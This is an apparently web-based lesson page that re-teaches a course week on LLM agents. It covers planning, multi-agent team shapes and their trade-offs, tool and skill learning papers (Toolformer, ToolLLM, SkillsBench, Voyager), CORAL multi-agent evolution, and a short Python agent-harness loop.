The potato is in the fridge, not on the counter, and the plan does not know. Choose a planner and press Next step.
Toy scene, not the paper’s data. The idea of plan, act, observe feedback and plan again is LLM-Planner (slide 16). The planner call count and step count are counted live.
One last idea, from Shen et al. (Thinking vs Doing, NeurIPS 2025). Most test-time scaling (spending more compute while answering, not while training) spends more tokens on thinking per step. For agents there is another dial: spend more steps of interaction (slides 17 and 18). Let the agent act, see feedback, and try again. In their plots, scaling the number of interaction steps beat scaling per-step thinking on the same task. Planning is not only reasoning in advance. It is also acting to learn.
Chapter 8
Compare the shapes a team of agents can take and use five findings to decide when a team beats a single agent
A company has a hard problem. It can give it to one very good employee, or it can hire a team. Teams add skills, but they also add meetings, hand-offs and misunderstandings. Everyone knows this about people. Does it hold for agents?
The lecture puts the pieces together (slide 19). A multi-agent system (MAS) is several model-driven agents working on one task. It can mean planner agents plus execution agents, or decentralized agents whose answers are combined, or multimodal agents that each handle one kind of input such as text, images or audio. A single-agent system (SAS) is the one-loop baseline from Chapter 0.
In a decentralized team, nobody is in charge. In multiagent debate (Du et al., ICML 2024), several copies of a model each propose an answer, read the others’ answers, critique them and revise, over several rounds, until they reach a final answer (slides 20 and 21). The lecture’s plots show math accuracy rising with the number of agents and with the number of debate rounds. Debate trades more calls for better reasoning and fewer made-up facts.
In a centralized team, one orchestrator (or manager) splits the work, sends pieces to workers and merges the results. The lecture’s example is Multi-Agent Computer Use (Koh et al., COLM 2026; slides 22 to 24). A manager writes a task graph. Computer-use sub-agents run in parallel on separate virtual machines. When a sub-agent finishes, the manager updates the graph and launches follow-ups. The gains over a single agent, in percentage points: OSWorld 43.8 to 48.5 (+4.7), Online-Mind2Web 52.2 to 55.6 (+3.4), WebTailBench 20.8 to 29.5 (+8.7), and Odysseys 8.5 to 34.0 (+25.5).
The lecture adds a warning: you need a strong orchestrator (slide 24). In an ablation (a test that changes one part and keeps the rest fixed) with a small worker held constant, the result tracked the quality of the manager. A weak manager hands out poor pieces and merges badly. The team is only as good as its coordinator.
The lecture borrows a table from Kim et al. (Towards a Science of Scaling Agent Systems, Nature Machine Intelligence 2026; slide 25) that sorts teams into five shapes.
| Shape | Who talks to whom | Cost to watch |
|---|---|---|
| Single agent | One loop, no messages | The lowest |
| Independent team | Agents work alone; answers are merged at the end | Duplicated work |
| Decentralized team | Agents talk to each other (debate) | Messages grow with the number of pairs |
| Centralized team | A manager talks to every worker | The manager is the bottleneck |
| Hybrid team | A manager plus peer talk between workers | The most overhead |
The five shapes are the paper’s. The cost column is our plain summary of how each shape spends effort.
The lecture states the headline first: more agents does not automatically improve performance. Scaling depends on task structure and topology (slide 25). Then five findings (slides 26 to 30).
One: teams help only on some tasks. On a finance-analysis task a team won by +81%, because the job splits naturally into revenue, cost and market, and each worker can take one. On PlanCraft, a crafting game, a team lost by −70%, because each action changes what the next action needs. Splitting a chain breaks it. The guidelines: parallelizable work suits a centralized team; work that needs exploring suits a decentralized team; work with a sequential dependency suits a single agent. Pick a task shape and see.
Top: the shape of the work. Bottom: the team shape the lecture recommends for it.
The guidelines are the lecture’s (slide 26). The two numbers are the paper’s: a finance task where the multi-agent system wins +81%, and PlanCraft where it loses 70%. “Open search” stands for the lecture’s “exploration needed” and carries no number of its own here.
Two: base models differ. Across the three model families tested, spending more on a team gave a plateau for OpenAI models, higher cost for higher performance for Google, and sometimes lower performance for Anthropic (slide 27). The same topology is not safe to copy across models.
Three: more agents is not always better. On tool-heavy tasks, such as 16-tool workflows, coordination overhead eats the gain, and the penalty grows as the environment gets more complex (slide 28).
Four: mix models, and check your baseline. A blend of different agents can beat a team of better ones. We do not need expensive models everywhere. A cheap orchestrator with expensive execution sub-agents works well. And the key rule: if the single-agent baseline already scores above about 45%, a team tends to hurt (slide 29). Slide it.
Drag the score your single agent already gets. Left of the line, a team may help if the task splits. Right of it, a team tends to hurt.
The 45% threshold is the lecture’s Finding 4 (slide 29), a pattern in the paper’s data, not a law. Check it on your own task.
Five: performance can be predicted. The authors fit a scaling law that uses the base model, the task and the team setup as inputs (model capability, number of agents, tool count, the single-agent baseline, and measures of overhead, trace errors, message density and redundancy). It picks the best architecture 87% of the time on new setups (slide 30). The lesson: move from “try a setup” to a principled science of agent design. Our Scaling Agent Systems lesson builds this paper from zero.
A last reading for this week, Why Do Multi-Agent LLM Systems Fail? (Cemri et al., 2025), explains the other side of the table. The authors collected 1,642 run logs from several agent teams, found that the teams failed 41% to 86.7% of their runs, and named 14 failure modes in three families: how the team was specified and designed, how agents misalign with each other, and how the work is checked and ended. Naming the modes lets you debug a team by cause rather than by pass or fail. Our MAST lesson walks through it.
Chapter 9
See how four papers let an agent find its own tools, learn to use real APIs, measure its skills and grow a library of its own code
So far a person wrote every tool, every skill and every hook. That is slow, and it does not scale. The syllabus line for this part of Week 6 is tool and skill evolution: let the agent discover, learn and improve its own tools and skills. Four readings show four angles. We take them in the order the harness needs them.
Chapter 2 gave the model tools. But when should it use one? Toolformer (Schick et al., Meta AI, 2023, arXiv 2302.04761) answers with no human labels. Start with a plain text corpus. Ask a language model to guess places where a call might help, such as a calculator call before a percentage or a search call before a fact. Run each call and note the result. Now ask one question: does seeing the result make the following words easier to predict? Measure it as the model’s loss on the next words: a score of how surprised the model is, where lower is better. If the call lowers the loss by at least a margin, keep it. If not, drop it. Fine-tune on the kept examples, and the model learns when a call pays.
Take three candidates. A calculator call turns “400 of 1,400 passed, or…” into a result that makes “29%” nearly certain: the loss on those words falls a lot, so the call stays. A search call placed before the word “the” changes nothing, so it goes. The paper used five tools: a question-answering system, a calculator, a search engine, a translator and a calendar. Our Toolformer lesson builds the full pipeline. Set the margin yourself below.
Each bar is how much a tool’s result lowers the loss on the next words. Drag the margin: calls above the line are kept for training.
Toy numbers, not from the paper: losses are in illustrative nats per token. The filter rule (keep a call if its result lowers the loss on the following words enough) is Toolformer’s idea.
Toolformer used five tools. The real world has thousands. ToolLLM (Qin et al., arXiv 2307.16789) builds a whole recipe for open models to master them. It collects 16,464 real REST APIs (web services you call over HTTP) in 49 categories from RapidAPI Hub. ChatGPT then writes instructions that need them, for one tool or several, and searches for a working chain of calls for each. The training set is called ToolBench.
The search is the clever part: a depth-first search decision tree (DFSDT). A plain chain of calls fails when one step goes wrong. A tree lets the model back up, try a different API or argument, and keep exploring. An automatic judge, ToolEval, scores the results. They fine-tune LLaMA into ToolLLaMA, with a neural API retriever that picks which of the thousands of APIs to show for each instruction. That retriever is the ancestor of the Tool Search Tool from Chapter 2: you cannot put 16,000 schemas in the window. ToolLLaMA ran complex instructions, generalised to APIs it never saw, and performed comparably to ChatGPT.
Chapter 3 gave skills a lot of praise. SkillsBench (arXiv 2602.12670) tests it with a paired design. The benchmark has 87 tasks across 8 domains, each with curated skills and a deterministic checker (code that decides pass or fail). Each of 18 model-and-harness setups runs every task twice, once without skills and once with them.
Average pass rate: 33.9% (no skills) → 50.5% (curated skills) = +16.6 points
The gain ranged from +4.1 to +25.7 points across setups. Two further results matter for design. Focused skills win: skills with at most three modules beat larger, exhaustive bundles. And skills can stand in for size: a smaller model with skills can match a larger one without them. That fits the progressive-disclosure idea. A skill is not a manual dump. It is the few steps that matter.
Voyager (Wang et al., arXiv 2305.16291) closes the loop. It plays Minecraft with GPT-4 through plain queries, with no fine-tuning, and it keeps growing. It has three parts. An automatic curriculum picks the next task that keeps exploring. A skill library stores each solved behaviour as executable code, indexed so it can be retrieved later. And iterative prompting rewrites a program using environment feedback, execution errors and a self-check until it works.
Why code? Because code composes. “Craft a pickaxe” can call “craft planks”, which calls “mine wood”. Each new skill reuses the old ones, so abilities compound and old ones are not forgotten. The paper reports 3.3 times more unique items, 2.3 times longer travel and up to 15.3 times faster tech-tree milestones than the previous best, and the library transfers to a new world. Build a library yourself.
Press Next task to follow the curriculum. Purple: each new skill calls earlier ones. Grey: the agent rewrites every prerequisite each time.
Toy curriculum, not the paper’s: each skill is 3 lines of new code, and a skill that calls others adds 1 line per call. Without a library the agent re-writes each prerequisite as well. Voyager’s own measured results are the 3.3×, 2.3× and 15.3× above.
One risk runs through all four papers: a tool or skill the agent wrote itself might be wrong. Toolformer answers it with the loss filter. ToolLLM answers it with search that can back up and a judge, ToolEval. SkillsBench answers it with deterministic checkers and paired runs. Voyager answers it with execution errors and a self-check before a skill enters the library. In each case a test decides what stays, not the agent’s confidence.
Chapter 10
See how CORAL lets several long-running agents share notes and skills to push past what one agent, or a fixed search, can reach
Chapter 8 ended with a headache. Whether a team helps depends on the task, the base model, the topology, the number of agents and the tool count. Nobody wants to tune all that by hand for every new problem. The lecture’s next move (slide 31): automate the design. This is multi-agent evolution, also called multi-agent optimization.
What can evolve? The lecture lists three levels. Individual agents: the model, its context, its harness. The system: agent roles, how they communicate, their topology (who talks to whom). Shared information: common memory, tools and skills. Chapter 9 touched the third level. This chapter looks at one system that works on all three.
Picture a hard puzzle with no known best answer, such as making a GPU program run in fewer clock cycles. You try something, measure the score, learn, and try again. Progress comes from a long search and from remembering what you learned. LLM-based evolution follows this loop: retrieve earlier attempts, propose a new one, evaluate it, update the memory.
Older systems fix this loop in code. A human decides how to pick parents, when to explore and how many tries to run. CORAL (Qu et al., COLM 2026, arXiv 2604.01658; code at Human-Agent-Society/CORAL) takes the human rules away. The lecture draws a ladder of autonomy (slide 32). On the left: fixed evolutionary search, where code runs the retrieve-propose-evaluate-update steps. In the middle: autonomous single-agent evolution, where one agent runs the whole loop itself. On the right: autonomous multi-agent evolution, where several agents run it at once and share memory.
The slide names four key ideas (slide 33), and the abstract fills in the details.
Because the agents run for hours with real tools, the paper adds guard rails that echo Chapters 1 and 6: isolated workspaces so agents do not overwrite each other, evaluator separation so an agent cannot edit the scorer, resource management, and session and health management that restart stuck agents. They are harness engineering again.
The lecture shows tasks in operations research, systems engineering and scientific discovery (slides 34 to 36). The clearest is kernel engineering, on a task from Anthropic: make a GPU kernel use fewer clock cycles. The lecture’s slides report new state of the art on 8 tasks spanning math, algorithms and system optimization. The paper’s abstract reports 10, which is the later count. It also reports 3 to 10 times higher improvement rates than fixed evolutionary search, with far fewer evaluations. On the kernel task, four co-evolving agents improved the best known score from 1,363 to 1,103 cycles. Across tasks, multi-agent evolution beat a single agent by 4% to 20% (slide 37).
The authors did not stop at scores. They asked why (slides 38 and 39). Two broad answers: knowledge accumulates when agents keep a memory of notes and skills, and co-evolving agents beat the same number of independent agents. Then three measurements on the kernel task.
Information moves between agents. About 36% of attempts used another agent’s result as their parent. Those attempts improved the score 17% of the time, against 9% for all attempts. Borrowed work pays about twice as often.
Agents explore different things. The authors compared the words each agent used with the Jaccard similarity: the size of the overlap divided by the size of the union. Take two agents that used 10 and 10 distinct terms, with 4 in common. The union is 10 + 10 − 4 = 16, so Jaccard = 4/16 = 0.25. The paper found 0.3 to 0.4, so more than half of each agent’s explorations were unique to it.
The work is balanced. Every agent made about the same number of attempts with about the same success rate. No single agent did all the work. The gain came from the mix. Try the same effect on a toy search below.
Same total number of attempts for every line. The grey line is one agent. The dashed line is several agents who never talk. The purple line is the same agents sharing the best result so far. Each line averages 60 random runs.
A toy search, not CORAL: a bumpy 1-D score landscape with a small local peak, a medium peak and a narrow global peak. Each attempt changes a parent a little and keeps the result if it is better. Agents who share memory may pick the best result of any agent as parent. The runs are real random runs in your browser. The lecture’s real numbers are 36% vs 9%, 17% vs 9% and 1,363 to 1,103 cycles.
CORAL sits at the end of a line that runs through this whole lesson. Chapter 0 gave the model a loop. Chapters 4 and 5 gave it memory files. Chapter 9 gave it a skill library. CORAL runs many such agents at once and lets them write to the same notebook. For a fuller treatment see our CORAL paper lesson.
Chapter 11
Keep the week on one page: the numbers, the terms, a checklist, the core loop in code, and where to go next
An agent is a model plus a harness. The model turns text into text. The harness adds everything a model cannot do alone. The lecture’s summary slide says it in a table (slide 47): where the model cannot do something, the harness adds something.
| The model cannot… | The harness adds | Chapter |
|---|---|---|
| act | tools and an executor | 2 |
| know the project | context assembly, skills, MCP | 3 |
| survive errors | feedback, timeouts, budgets | 1 |
| fit in the window | truncate, compact, cache | 4 |
| stay on track | plan mode, plan files | 5 |
| remember | instruction and memory files | 5 |
| parallelize | subagents, teams | 5, 8 |
| be trusted | permissions, hooks, sandbox | 6 |
The slide ends with a limit worth keeping: a harness adds rules and guarantees, but it cannot make the model think of what it does not know. Week 7 turns to that other side, model evolution: making the model itself better. The second deck’s own summary (slide 40) adds three points. Planning and task decomposition matter more for efficient agents. Multi-agent systems bridge planning and execution, but do not always work better. And multi-agent evolution can turn hand engineering into autonomous optimization.
| Number | What it measures | Source |
|---|---|---|
| 58.0% to 76.4% | Same model, nine harnesses, Terminal-Bench | slide 3 |
| about 47k tokens | What Codex reads before you type | slide 8 |
| over 74% | mini-swe-agent, SWE-bench Verified | slide 9 |
| 24 steps, $0.19 | The django-11099 run | slide 14 |
| 49% | SWE-bench Verified after tool description edits (previous best 45%) | slide 19 |
| 17 tools to 2 | Time 274.8 s to 77.4 s, success 4/5 to 5/5 | slide 20 |
| 15.7, 12.0, 18.0% | No search, iterative search, summarized search | slide 23 |
| about 100 tokens | Cost of one skill header, always loaded | slide 28 |
| 0.1× | Price of cached input | slide 37 |
| 6,100 to 420 | Tokens a subagent read vs returned | slide 42 |
| +90.2% at about 15× tokens | Parallel research agents vs one agent | slide 43 |
| +81% and −70% | Team vs one agent: finance, PlanCraft | Lec. 5, slide 26 |
| 45% | Baseline above which a team tends to hurt | Lec. 5, slide 29 |
| 87% | How often a scaling law picks the best architecture | Lec. 5, slide 30 |
| 1,363 to 1,103 cycles | CORAL, four agents, kernel task | CORAL abstract |
| 33.9% to 50.5% | SkillsBench, without vs with curated skills | SkillsBench abstract |
Here is the whole harness of Chapters 0 and 1 in about 40 lines of Python. It has a loop, a format check, a timeout, truncation, two budgets, and the two families of exceptions. It follows mini-swe-agent’s design but is our own simplified version.
pythonimport re, subprocess STEP_LIMIT, COST_LIMIT = 50, 3.00 SUBMIT = "COMPLETE_TASK_AND_SUBMIT_FINAL_OUTPUT" class FormatError(Exception): pass # recoverable: tell the model class Timeout(Exception): pass # recoverable: tell the model class Submitted(Exception): pass # terminal: the job is done class Limits(Exception): pass # terminal: out of budget def parse_action(reply): blocks = re.findall(r"```bash\s*\n(.*?)\n```", reply, re.DOTALL) if len(blocks) != 1: raise FormatError("Reply with exactly ONE bash block.") return blocks[0].strip() def execute(cmd): try: p = subprocess.run(cmd, shell=True, text=True, timeout=30, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) except subprocess.TimeoutExpired: raise Timeout("The command took over 30 s. Try something else.") if p.stdout.lstrip().startswith(SUBMIT): raise Submitted(p.stdout) out = p.stdout if len(out) >= 10_000: # keep head and tail only out = out[:5000] + f"\n[{len(out) - 10000} characters elided]\n" + out[-5000:] return f"<returncode>{p.returncode}</returncode>\n<output>{out}</output>" def run(task, llm, system): messages = [{"role": "system", "content": system}, {"role": "user", "content": task}] calls, cost = 0, 0.0 while True: try: if calls >= STEP_LIMIT or cost >= COST_LIMIT: raise Limits(f"{calls} calls, ${cost:.2f}") reply, price = llm(messages) # MODEL calls += 1; cost += price messages.append({"role": "assistant", "content": reply}) observation = execute(parse_action(reply)) # HARNESS messages.append({"role": "user", "content": observation}) except (FormatError, Timeout) as e: # recoverable messages.append({"role": "user", "content": str(e)}) except (Submitted, Limits) as e: # terminal return type(e).__name__, str(e)
Inside this site, the tool-use, design-pattern, memory and multi-agent lectures of Stanford CS 329Z cover the same ground from another course: Lecture 1, tool use, design patterns, agent memory and multi-agent systems. For the pieces of Chapter 3, see MCP and agent skills. The week’s readings: Toolformer, Scaling Agent Systems, Why Multi-Agent LLM Systems Fail and CORAL. The papers we taught inside this lesson: ToolLLM, SkillsBench and Voyager.
Try the teach-it-back mode on this page: explain the agent loop on a whiteboard, as if to a friend who has never seen one. Or go back to the instrument at the top and run the three harnesses again. You should now be able to say why the bare loop crashed, and which chapter built each guard.
Credit: this lesson re-teaches Week 6 (10/14) of MIT MAS.S62, How to AI an AI for (Almost) Anything (Fall 2026), from the MIT Multisensory Intelligence group. The harness engineering tutorial is by Ao Qu (slides PDF), with credit in the deck to Juncheng Yang (Harvard CS 2680) for two slides. Lecture 5, multi-agent evolution, is by Paul Liang (slides PDF). Course site: mit-mi.github.io/how2ai-course. All explanations, devices and toy numbers here are ours; measured numbers are credited to the slides and papers they come from.